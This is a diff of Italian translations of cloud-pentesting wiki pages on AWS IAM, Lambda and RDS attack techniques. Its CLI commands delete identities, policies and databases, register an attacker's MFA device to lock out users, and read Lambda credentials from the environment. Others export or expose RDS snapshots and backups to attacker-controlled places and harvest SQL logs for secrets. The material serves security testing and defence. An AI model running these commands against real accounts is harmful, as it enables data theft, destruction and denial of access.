Con permessi come `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un attore può cancellare utenti, ruoli o gruppi—or modificare l'appartenenza a un gruppo—rimuovendo identità e tracce associate. Questo può interrompere immediatamente l'accesso per persone e servizi che dipendono da quelle identità, causando denial-of-service o perdita di accesso, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
Con permessi come `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` o `iam:RemoveUserFromGroup`, un attore può eliminare utenti, ruoli o gruppi — o modificare l'appartenenza ai gruppi — rimuovendo identità e tracce associate. Questo può interrompere immediatamente l'accesso per persone e servizi che dipendono da quelle identità, causando denial-of-service o perdita di accesso, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -114,7 +114,8 @@ aws iam delete-group \
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare policy gestite/inline, rimuovere versioni di policy o limiti delle autorizzazioni, e scollegare policy da utenti, gruppi o ruoli. Questo distrugge autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per le entità che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
###
|
||||
Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare managed/inline policies, rimuovere versioni di policy o permissions boundaries, e scollegare policy da utenti, gruppi o ruoli. Questo distrugge autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per i principals che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -127,7 +128,7 @@ aws iam delete-role-policy \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Eliminazione dell'identità federata
|
||||
Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare i provider di identità OIDC/SAML o rimuovere i client IDs. Questo interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso a utenti e servizi che dipendono da SSO fino al ripristino dell'IdP o delle configurazioni.
|
||||
Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare provider di identità OIDC/SAML o rimuovere client ID. Questo interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso a utenti e servizi che si basano su SSO fino a quando l'IdP o le configurazioni non vengono ripristinate.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -137,8 +138,8 @@ aws iam delete-open-id-connect-provider \
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Attivazione MFA illegittima
|
||||
Con `iam:EnableMFADevice`, un attaccante può registrare un dispositivo MFA sull'identità di un utente, impedendo all'utente legittimo di accedere. Una volta abilitato un MFA non autorizzato, l'utente può essere bloccato fino a quando il dispositivo non viene rimosso o reimpostato (nota: se sono registrati più dispositivi MFA, per l'accesso ne è richiesto soltanto uno, quindi questo attacco non impedirà l'accesso).
|
||||
### Attivazione MFA non autorizzata
|
||||
Con `iam:EnableMFADevice`, un attore può registrare un dispositivo MFA sull'identità di un utente, impedendo all'utente legittimo di effettuare l'accesso. Una volta che un MFA non autorizzato è abilitato, l'utente può rimanere bloccato fino a quando il dispositivo non viene rimosso o reimpostato (nota: se sono registrati più dispositivi MFA, per l'accesso ne basta uno, quindi questo attacco non avrà effetto nel negare l'accesso).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -146,8 +147,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Certificate/Key Metadata Tampering
|
||||
With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Contrassegnando chiavi/certificati come inattivi o alterando i riferimenti, possono interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità.
|
||||
### Manomissione dei metadati di certificati/chiavi
|
||||
Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Contrassegnando le chiavi/certificati come inattivi o alterando i riferimenti, può interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -160,7 +161,7 @@ aws iam update-server-certificate \
|
||||
```
|
||||
### `iam:Delete*`
|
||||
|
||||
Il wildcard IAM iam:Delete* concede la possibilità di rimuovere molti tipi di risorse IAM — utenti, ruoli, gruppi, policy, chiavi, certificati, dispositivi MFA, versioni di policy, ecc. — e quindi ha un raggio d'azione molto elevato: un attore a cui è concesso iam:Delete* può distruggere permanentemente identità, credenziali, policy e artefatti correlati, rimuovere audit/evidence e causare interruzioni di servizio o operative. Alcuni esempi sono
|
||||
Il carattere jolly IAM iam:Delete* concede la possibilità di rimuovere molti tipi di risorse IAM — utenti, ruoli, gruppi, policy, chiavi, certificati, dispositivi MFA, versioni della policy, ecc. — e pertanto ha un blast radius molto elevato: un attore a cui viene concesso iam:Delete* può distruggere permanentemente identità, credenziali, policy e artefatti correlati, rimuovere audit/prove e causare interruzioni di servizio o operative. Alcuni esempi sono
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
@@ -173,11 +174,11 @@ aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
Un attore a cui è stata concessa l'azione iam:EnableMFADevice può registrare un dispositivo MFA su un'identità nell'account, a condizione che l'utente non ne avesse già uno abilitato. Questo può essere usato per interferire con l'accesso di un utente: una volta che un attacker registra un dispositivo MFA, l'utente legittimo potrebbe essere impedito dall'accedere perché non controlla il MFA registrato dall'attacker.
|
||||
Un actor con il permesso `iam:EnableMFADevice` può registrare un dispositivo MFA su un'identità nell'account, a condizione che il user non ne avesse già uno abilitato. Questo può essere usato per interferire con l'accesso di un user: una volta che un attacker registra un dispositivo MFA, il user legittimo potrebbe essere impedito dal sign in perché non controlla l'MFA registrato dall'attacker.
|
||||
|
||||
Questo attacco di negazione di accesso funziona solo se l'utente non aveva alcun MFA registrato; se l'attacker registra un dispositivo MFA per quell'utente, l'utente legittimo verrà escluso da qualsiasi flow che richieda quel nuovo MFA. Se l'utente ha già uno o più dispositivi MFA sotto il proprio controllo, aggiungere un MFA controllato dall'attacker non impedisce all'utente legittimo — questi può continuare ad autenticarsi usando qualsiasi MFA che già possiede.
|
||||
Questo denial-of-access attack funziona solo se il user non aveva alcun MFA registrato; se l'attacker registra un dispositivo MFA per quel user, il user legittimo verrà bloccato da qualsiasi flows che richieda quel nuovo MFA. Se il user ha già uno o più dispositivi MFA sotto il proprio controllo, aggiungere un MFA controllato dall'attacker non blocca il user legittimo — può continuare ad authenticate usando qualsiasi MFA che già possiede.
|
||||
|
||||
Per abilitare (registrare) un dispositivo MFA per un utente, un attacker potrebbe eseguire:
|
||||
Per abilitare (registrare) un dispositivo MFA per un user un attacker potrebbe eseguire:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
|
||||
@@ -4,35 +4,35 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Esfiltrare credenziali Lambda
|
||||
### Esfiltrare le credenziali di Lambda
|
||||
|
||||
Lambda usa variabili d'ambiente per iniettare credenziali durante l'esecuzione. Se puoi accedervi (leggendo `/proc/self/environ` o usando la funzione vulnerabile stessa), puoi usarle. Sono memorizzate nei nomi di variabili predefiniti `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
|
||||
Lambda usa le variabili d'ambiente per iniettare le credenziali a runtime. Se puoi accedervi (leggendo `/proc/self/environ` o usando la funzione vulnerabile stessa), puoi usarle tu stesso. Risiedono nelle variabili di default `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` e `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Per default, queste hanno accesso per scrivere in un CloudWatch log group (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`), oltre che per creare gruppi di log arbitrari; tuttavia le funzioni Lambda spesso hanno permessi aggiuntivi assegnati in base al loro uso previsto.
|
||||
Per impostazione predefinita, queste hanno accesso per scrivere in un cloudwatch log group (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`) e per creare log group arbitrari; tuttavia le funzioni lambda spesso hanno permessi aggiuntivi assegnati in base al loro uso previsto.
|
||||
|
||||
### `lambda:Delete*`
|
||||
Un attacker cui è concesso `lambda:Delete*` può cancellare Lambda functions, versions/aliases, layers, event source mappings e altre configurazioni associate.
|
||||
Un attacker a cui è concesso `lambda:Delete*` può eliminare Lambda functions, versions/aliases, layers, event source mappings e altre configurazioni associate.
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Rubare le richieste URL di altre Lambda
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
Se un attacker in qualche modo riesce a ottenere RCE all'interno di una Lambda sarà in grado di rubare le richieste HTTP di altri utenti verso la Lambda. Se le richieste contengono informazioni sensibili (cookies, credentials...) potrà sottrarle.
|
||||
Se un attacker in qualche modo riesce a ottenere RCE all'interno di una Lambda, potrà rubare le richieste HTTP di altri utenti verso la lambda. Se le richieste contengono informazioni sensibili (cookies, credentials...) potrà sottrarle.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Rubare le richieste URL di altre Lambda & le richieste di Extensions
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Abusando di Lambda Layers è anche possibile sfruttare le extensions e persistere nella Lambda, oltre a rubare e modificare le richieste.
|
||||
Abusing Lambda Layers è anche possibile abusare delle extensions e persistere nella lambda ma anche rubare e modificare le richieste.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -40,7 +40,7 @@ Abusando di Lambda Layers è anche possibile sfruttare le extensions e persister
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
Forza una Lambda function fuori da una VPC ristretta aggiornando la sua configurazione con un VpcConfig vuoto (SubnetIds=[], SecurityGroupIds=[]). La function verrà eseguita nel networking plane gestito da Lambda, recuperando l'accesso Internet in uscita e bypassando i controlli di egress imposti dai subnet privati della VPC senza NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -48,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
Abusa di `lambda:PutRuntimeManagementConfig` per vincolare una function a una specifica versione del runtime (Manual) o bloccare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con layer/wrapper malevoli e può mantenere la function su un runtime obsoleto e vulnerabile per facilitare lo sfruttamento e la persistenza a lungo termine.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -56,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
Abusa dei controlli di logging avanzati di `lambda:UpdateFunctionConfiguration` per reindirizzare i log di una function verso un log group di CloudWatch Logs scelto dall'attacker. Questo funziona senza cambiare il codice o l'execution role (la maggior parte dei ruoli Lambda include già `logs:CreateLogGroup/CreateLogStream/PutLogEvents` tramite `AWSLambdaBasicExecutionRole`). Se la function stampa secrets/request bodies o va in crash con stack traces, puoi raccoglierli dal nuovo log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -64,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
Trasforma una Lambda Function URL privata in un endpoint pubblico non autenticato impostando il Function URL AuthType su NONE e allegando una resource-based policy che concede lambda:InvokeFunctionUrl a chiunque. Questo permette invocazioni anonime di function interne e può esporre operazioni backend sensibili.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -72,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
Abusa di `UpdateEventSourceMapping` per cambiare la target Lambda function di un Event Source Mapping (ESM) esistente in modo che i record da DynamoDB Streams, Kinesis o SQS vengano consegnati a una function controllata dall'attacker. Questo devia silenziosamente i dati live senza toccare i producer o il codice della function originale.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -80,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
Abusa di `lambda:UpdateFunctionConfiguration` per collegare un EFS Access Point esistente a una Lambda, poi deploya codice semplice che elenca/legge file dal path montato per esfiltrare shared secrets/config a cui la function prima non poteva accedere.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -12,7 +12,7 @@ Per maggiori informazioni consulta:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Se l'attacker ha permessi sufficienti, potrebbe rendere un **DB pubblicamente accessibile** creando uno snapshot del DB e poi un DB pubblicamente accessibile dallo snapshot.
|
||||
Se l'attaccante dispone di permessi sufficienti, può rendere un DB **accessibile pubblicamente** creando uno snapshot del DB e poi ripristinando un DB accessibile pubblicamente da quello snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,21 +39,22 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Un attacker con rds:StopDBCluster o rds:StopDBInstance può forzare l'arresto immediato di un'istanza RDS o di un intero cluster, causando l'indisponibilità del database, connessioni interrotte e l'interruzione dei processi che dipendono dal database.
|
||||
|
||||
Per arrestare una singola istanza DB (esempio):
|
||||
Un attacker con rds:StopDBCluster o rds:StopDBInstance può forzare l'arresto immediato di un'istanza RDS o di un intero cluster, causando l'indisponibilità del database, connessioni interrotte e l'interruzione di processi che dipendono dal database.
|
||||
|
||||
Per fermare una singola istanza DB (esempio):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Per fermare un intero cluster DB (esempio):
|
||||
Per arrestare un intero DB cluster (esempio):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Un attaccante a cui è concesso rds:Delete* può rimuovere le risorse RDS, eliminando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatti correlati, causando un'immediata interruzione del servizio, perdita di dati, distruzione dei punti di ripristino e perdita di prove forensi.
|
||||
Un attacker a cui è stato concesso rds:Delete* può rimuovere risorse RDS, eliminando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatti correlati, causando interruzione immediata del servizio, perdita di dati, distruzione dei recovery points e perdita di prove forensi.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +77,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Un attaccante con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare un DB nel proprio account a partire da quello snapshot.
|
||||
Un attaccante con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare nel proprio account un DB da quello snapshot.
|
||||
|
||||
Se l'attaccante **non ha il `rds:CreateDBSnapshot`**, potrebbe comunque rendere **altri** snapshot creati **pubblici**.
|
||||
Se l'attaccante **non ha il `rds:CreateDBSnapshot`**, potrebbe comunque rendere **pubblici** altri snapshot creati.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,48 +90,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono accidentalmente registrati nei log, l'attaccante potrebbe utilizzare queste informazioni per aumentare i propri privilegi o eseguire azioni non autorizzate.
|
||||
Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono registrati accidentalmente, l'attaccante potrebbe potenzialmente usare queste informazioni per ottenere privilegi più elevati o eseguire azioni non autorizzate.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Impatto potenziale**: Accesso a informazioni sensibili o esecuzione di azioni non autorizzate utilizzando leaked credentials.
|
||||
**Impatto potenziale**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Un attaccante con questi permessi può **DoS existing RDS instances**.
|
||||
Un attaccante con queste autorizzazioni può **DoS le istanze RDS esistenti**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potential impact**: Cancellazione delle istanze RDS esistenti e possibile perdita di dati.
|
||||
**Impatto potenziale**: Eliminazione delle istanze RDS esistenti e potenziale perdita di dati.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testare
|
||||
> TODO: Da testare
|
||||
|
||||
Un attacker con questa autorizzazione può esportare lo snapshot di un'istanza RDS in un bucket S3. Se l'attacker ha il controllo del bucket S3 di destinazione, può potenzialmente accedere ai dati sensibili contenuti nello snapshot esportato.
|
||||
Un attaccante con questa autorizzazione può **esportare lo snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo del bucket S3 di destinazione, può potenzialmente accedere ai dati sensibili contenuti nello snapshot esportato.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impatto potenziale**: Accesso a dati sensibili nello snapshot esportato.
|
||||
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Replicazione cross-Region dei backup automatizzati per un ripristino furtivo (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Sfruttare cross-Region automated backups replication per duplicare silenziosamente gli automated backups di un'istanza RDS in un'altra AWS Region e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato pubblicamente accessibile e reimpostare la master password per accedere ai dati out-of-band in una Region che i difensori potrebbero non monitorare.
|
||||
Sfruttare la replica cross-Region dei backup automatizzati per duplicare silenziosamente i backup automatizzati di un'istanza RDS in un'altra AWS Region e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato accessibile pubblicamente e resettare la password principale per accedere ai dati fuori banda in una Region che i difensori potrebbero non monitorare.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` nella Region di destinazione
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` nella Region di destinazione
|
||||
- `rds:RestoreDBInstanceToPointInTime` nella Region di destinazione
|
||||
- `rds:ModifyDBInstance` nella Region di destinazione
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (pulizia opzionale)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (per esporre il DB ripristinato)
|
||||
|
||||
Impatto: Persistenza e data exfiltration ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante.
|
||||
Impatto: Persistenza ed esfiltrazione di dati ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante.
|
||||
|
||||
<details>
|
||||
<summary>Esempio CLI end-to-end (sostituire i segnaposto)</summary>
|
||||
<summary>CLI end-to-end (sostituire i segnaposto)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -199,26 +200,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Abilitare il logging SQL completo via DB parameter groups ed esfiltrare tramite RDS log APIs
|
||||
### Abilita il logging SQL completo tramite DB parameter groups ed exfiltrate tramite RDS log APIs
|
||||
|
||||
Abusare di `rds:ModifyDBParameterGroup` con le RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie credenziali del DB engine). Abilitare il logging SQL dell'engine e recuperare i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o il REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.
|
||||
Abusa di `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie le credenziali del DB engine). Abilita il logging SQL dell'engine e recupera i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (solo per associare un custom parameter group se l'istanza sta usando quello di default)
|
||||
- `rds:RebootDBInstance` (per parametri che richiedono il reboot, es. PostgreSQL)
|
||||
|
||||
Passaggi
|
||||
1) Recon target e current parameter group
|
||||
1) Recon target and current parameter group
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Assicurati che sia associato un custom DB parameter group (non è possibile modificare il default)
|
||||
- Se l'istanza usa già un custom group, riutilizza il suo nome nel passo successivo.
|
||||
- Altrimenti crea e associa uno corrispondente alla engine family:
|
||||
2) Assicurati che sia associato un gruppo di parametri DB personalizzato (non è possibile modificare il predefinito)
|
||||
- Se l'istanza usa già un gruppo personalizzato, riutilizza il suo nome nel passaggio successivo.
|
||||
- Altrimenti crea e associa uno che corrisponda alla famiglia del motore:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -233,7 +234,7 @@ aws rds modify-db-instance \
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Abilitare il logging SQL dettagliato
|
||||
- MySQL engines (immediato / senza riavvio):
|
||||
- motori MySQL (immediato / senza riavvio):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -244,7 +245,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- Motori PostgreSQL (riavvio richiesto):
|
||||
- PostgreSQL engines (richiede riavvio):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -256,7 +257,7 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Lascia eseguire il workload (o genera query). Le istruzioni saranno scritte nei file di log del motore
|
||||
4) Lascia che il carico di lavoro venga eseguito (o genera query). Le istruzioni SQL verranno scritte nei file di log del motore
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
@@ -297,19 +298,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impatto: Post-exploitation accesso ai dati catturando tutte le SQL statements dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, and PII.
|
||||
Impatto: Accesso ai dati post-exploitation catturando tutte le istruzioni SQL dell'applicazione via AWS APIs (senza credenziali DB), potenzialmente leaking secrets, JWTs e PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abuse RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le primary instance credentials. Un attacker può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non cambia la primary), e opzionalmente esporre la replica pubblicamente per exfiltrate data.
|
||||
Abusa delle RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attaccante può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non modifica la primaria), e opzionalmente esporre la replica pubblicamente per exfiltrate data.
|
||||
|
||||
Permissions needed (minimum):
|
||||
Permessi necessari (minimi):
|
||||
